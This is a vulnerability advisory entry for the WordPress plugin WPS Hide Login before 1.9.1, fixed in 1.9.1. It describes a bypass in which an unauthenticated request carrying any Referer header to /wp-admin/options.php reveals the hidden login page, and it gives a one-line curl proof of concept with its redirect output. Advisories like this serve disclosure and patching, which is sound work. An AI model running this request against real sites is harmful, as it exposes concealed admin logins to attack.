WordPress Plugin Vulnerabilities
WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
Description
The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
Proof of Concept
curl --referer "something" -sIXGET https://example.com/wp-admin/options.php HTTP/2 302 ... location: https://example.com/secret-login/?redirect_to=%2Fwp-admin%2Fsomething&reauth=1
Affects Plugins
Fixed in version 1.9.1
References
Classification
Miscellaneous
Original Researcher
Daniel Ruf, Thalakus
Submitter
Daniel Ruf
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-10-27 (about 1 years ago)
Added
2021-11-02 (about 1 years ago)
Last Updated
2022-04-13 (about 11 months ago)